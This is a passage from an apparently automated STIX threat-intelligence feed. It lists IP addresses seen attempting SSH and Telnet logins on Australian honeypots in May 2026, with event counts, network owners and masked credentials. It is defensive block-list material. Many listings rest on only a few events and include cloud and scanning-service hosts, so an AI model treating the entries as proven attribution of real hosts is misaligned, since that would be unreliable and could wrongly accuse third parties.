      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T13:15:10.000Z",
      "valid_until": "2026-06-14T13:15:08.000Z"
    },
    {
      "created": "2026-05-13T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 25019. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--011161e7-2519-4d07-95d5-2cc1420ec88a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.219.235.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T13:15:10.000Z",
      "valid_until": "2026-06-14T13:15:08.000Z"
    },
    {
      "created": "2026-05-13T14:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IQ. ASN(s): 203217. Organisation(s): Horizon Scope Mobile Telecom WLL. Usernames observed (masked): r**t. Passwords observed (masked): d**********6.",
      "id": "indicator--ac09bcab-c2d1-4c26-84f5-3a5638dc88c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.124.158.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T14:15:05.000Z",
      "valid_until": "2026-06-14T14:15:04.000Z"
    },
    {
      "created": "2026-05-13T14:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): o****e, r**t. Passwords observed (masked): 1**4, Q********5.",
      "id": "indicator--baec7491-3829-4c5f-81d3-01be023ad9d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.197.164.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T14:15:05.000Z",
      "valid_until": "2026-06-14T14:15:04.000Z"
    },
    {
      "created": "2026-05-13T14:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 191. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, t**t, 3**********4, f*****t, f*****r. Passwords observed (masked): !**********6, *, **, ***, 1****1.",
      "id": "indicator--9d5c6202-c25c-44cd-bd80-9c0d38f2a6e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.253.31.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T14:15:05.000Z",
      "valid_until": "2026-06-14T14:15:04.000Z"
    },
    {
      "created": "2026-05-13T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--17f0557e-2305-4677-929d-05b8df41024a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.60.241.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T14:15:05.000Z",
      "valid_until": "2026-06-14T14:15:04.000Z"
    },
    {
      "created": "2026-05-13T14:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): A*******#, Q********5.",
      "id": "indicator--e1e1c4b6-c31b-415e-96c5-fd232f135d5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.153.98.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T14:15:05.000Z",
      "valid_until": "2026-06-14T14:15:04.000Z"
    },
    {
      "created": "2026-05-13T14:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4, a***n, a***a, ***. Passwords observed (masked): 1****6, 1*********@, 3***********4, 3**********4, H*********b.",
      "id": "indicator--03e9bcf9-b9d2-40b9-b1c9-ea626b03875c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.38.51.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T14:15:05.000Z",
      "valid_until": "2026-06-14T14:15:04.000Z"
    },
    {
      "created": "2026-05-13T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD..",
      "id": "indicator--c54adea9-3b18-455e-811d-4e449733eef1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.50.47.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T14:15:05.000Z",
      "valid_until": "2026-06-14T14:15:04.000Z"
    },
    {
      "created": "2026-05-13T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A..",
      "id": "indicator--7c77ebad-7841-45fe-9aa5-86a783b71aff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.98.99.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T14:15:05.000Z",
      "valid_until": "2026-06-14T14:15:04.000Z"
    },
    {
      "created": "2026-05-13T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 12322. Organisation(s): Free SAS.",
      "id": "indicator--e523dc43-2c00-411d-b7c1-be982ad4497c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.175.103.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T14:15:05.000Z",
      "valid_until": "2026-06-14T14:15:04.000Z"
    },
    {
      "created": "2026-05-13T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -*************-, 1****6, A*******., n********0.",
      "id": "indicator--90701e41-42a6-49c4-998f-77a774b383db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.126.4.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T15:15:10.000Z",
      "valid_until": "2026-06-14T15:15:08.000Z"
    },
    {
      "created": "2026-05-13T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--ac1f8dcc-ba7b-4f82-b55e-9e40c88f53df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.36.27.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T15:15:10.000Z",
      "valid_until": "2026-06-14T15:15:08.000Z"
    },
    {
      "created": "2026-05-13T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 278. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 271186. Organisation(s): EUNAPOLIS TELECOM LTDA. Usernames observed (masked): r**t, 3**********4, f*****y, **, a****z. Passwords observed (masked): 3***********4, 3**********4, !*******3, 1****6, F******6.",
      "id": "indicator--42c5049a-1a5e-441e-810d-68fc16acc20f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.51.153.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T15:15:10.000Z",
      "valid_until": "2026-06-14T15:15:08.000Z"
    },
    {
      "created": "2026-05-13T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--ee8af1aa-e6ff-4f8b-93a0-316a6f3cc8ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.92.92.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T15:15:10.000Z",
      "valid_until": "2026-06-14T15:15:08.000Z"
    },
    {
      "created": "2026-05-13T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 179. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, ***, 3**********4, a***n, a***t. Passwords observed (masked): 1****6, 1******8, 3***********4, 3**********4, A******6.",
      "id": "indicator--87b797a4-c909-46ec-b9c6-8ec23da41dd7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.244.20.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T15:15:10.000Z",
      "valid_until": "2026-06-14T15:15:08.000Z"
    },
    {
      "created": "2026-05-13T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--2479f579-ac35-46fa-a421-a46d167c82e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '39.113.77.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T15:15:10.000Z",
      "valid_until": "2026-06-14T15:15:08.000Z"
    },
    {
      "created": "2026-05-13T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, a*****d, b*****d, c****a. Passwords observed (masked): *, 1****6, 0****9, 2****0, 3***********4.",
      "id": "indicator--975f3950-1587-400f-b1e3-93782976a47f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.157.163.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T15:15:10.000Z",
      "valid_until": "2026-06-14T15:15:08.000Z"
    },
    {
      "created": "2026-05-13T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--ca2ab586-c585-4e74-81b6-3519c2964731",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T15:15:10.000Z",
      "valid_until": "2026-06-14T15:15:08.000Z"
    },
    {
      "created": "2026-05-13T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 18785. Organisation(s): Santel Communications Cooperative, Inc..",
      "id": "indicator--56853ff1-dc5d-4a4f-bcf6-8304f6b58dd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.231.13.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T15:15:10.000Z",
      "valid_until": "2026-06-14T15:15:08.000Z"
    },
    {
      "created": "2026-05-13T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 332. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 5384. Organisation(s): Emirates Telecommunications Group Company (etisalat Group) Pjsc. Usernames observed (masked): r**t, 3**********4, a***n, ***, a***t. Passwords observed (masked): 3***********4, 3**********4, 1****6, ***, 1******8.",
      "id": "indicator--a6daae1f-012b-427f-9ca5-c8912c2a4a24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '83.111.76.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T15:15:10.000Z",
      "valid_until": "2026-06-14T15:15:08.000Z"
    },
    {
      "created": "2026-05-13T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e67630e3-2f8d-403a-a242-93eed5a54f68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.119.32.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T16:15:10.000Z",
      "valid_until": "2026-06-14T16:15:08.000Z"
    },
    {
      "created": "2026-05-13T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IL. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, g***t, r**t.",
      "id": "indicator--78823561-ce34-4abf-a122-29c1777fb216",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '129.159.149.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T16:15:10.000Z",
      "valid_until": "2026-06-14T16:15:08.000Z"
    },
    {
      "created": "2026-05-13T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, u****u.",
      "id": "indicator--d980acd5-66c7-436e-a278-5bc25547bb13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.197.163.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T16:15:10.000Z",
      "valid_until": "2026-06-14T16:15:08.000Z"
    },
    {
      "created": "2026-05-13T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--8b2c50a2-83a2-4f21-9678-8323e86881c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.35.123.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T16:15:10.000Z",
      "valid_until": "2026-06-14T16:15:08.000Z"
    },
    {
      "created": "2026-05-13T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--cabd2bda-67e3-47e3-a3bf-0da1c0e4ce0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '164.92.100.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T16:15:10.000Z",
      "valid_until": "2026-06-14T16:15:08.000Z"
    },
    {
      "created": "2026-05-13T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 176. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 6147. Organisation(s): INTEGRATEL PERU S.A.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, ***, b*****y, q*****c.",
      "id": "indicator--51a9015f-0a35-4519-99fe-84f1eb29f523",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.65.191.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T16:15:10.000Z",
      "valid_until": "2026-06-14T16:15:08.000Z"
    },
    {
      "created": "2026-05-13T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--737ed368-83ff-4723-910d-f805d87fc33e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T16:15:10.000Z",
      "valid_until": "2026-06-14T16:15:08.000Z"
    },
    {
      "created": "2026-05-13T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): d******r, ***, r**t. Passwords observed (masked): A***********3, d**********3, ***.",
      "id": "indicator--81529d24-6bf2-4b55-aa3e-a5f536d978e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.247.32.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T16:15:10.000Z",
      "valid_until": "2026-06-14T16:15:08.000Z"
    },
    {
      "created": "2026-05-13T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 170. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, p****r, p**********4, p****p.",
      "id": "indicator--da8e2cdf-0839-418c-b95c-8447d0fa529d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.227.176.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T16:15:10.000Z",
      "valid_until": "2026-06-14T16:15:08.000Z"
    },
    {
      "created": "2026-05-13T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: PS. ASN(s): 51407. Organisation(s): Mada Al-Arab General Services Company.",
      "id": "indicator--ade6f4b0-16ee-4211-81cd-3bf7af99e5a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '84.242.48.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T16:15:10.000Z",
      "valid_until": "2026-06-14T16:15:08.000Z"
    },
    {
      "created": "2026-05-13T17:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131386. Organisation(s): Long Van System Solution JSC. Usernames observed (masked): r**t. Passwords observed (masked): f*****3, r****t.",
      "id": "indicator--e1665b74-e09b-4a89-a876-9fe71d559c05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.200.25.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T17:15:05.000Z",
      "valid_until": "2026-06-14T17:15:03.000Z"
    },
    {
      "created": "2026-05-13T17:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HN. ASN(s): 263686. Organisation(s): INET Communication. Usernames observed (masked): r**t. Passwords observed (masked): T******6, a*****1, r***3.",
      "id": "indicator--cdd538de-cd07-4b26-b55b-48c51e6e4f08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.59.179.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T17:15:05.000Z",
      "valid_until": "2026-06-14T17:15:03.000Z"
    },
    {
      "created": "2026-05-13T17:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266468. Organisation(s): ACESSANET TELECON LTDA.",
      "id": "indicator--7ddbc500-dcae-4f01-90c3-3fdce6072c05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.83.144.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T17:15:05.000Z",
      "valid_until": "2026-06-14T17:15:03.000Z"
    },
    {
      "created": "2026-05-13T17:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 210644. Organisation(s): Aeza Group LLC. Usernames observed (masked): r**t. Passwords observed (masked): P**l, T******6.",
      "id": "indicator--e1d43002-1c0a-4f59-89bd-924f1abeb456",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.124.220.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T17:15:05.000Z",
      "valid_until": "2026-06-14T17:15:03.000Z"
    },
    {
      "created": "2026-05-13T17:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--fb9572a4-4719-47e9-ad27-184a659abd46",
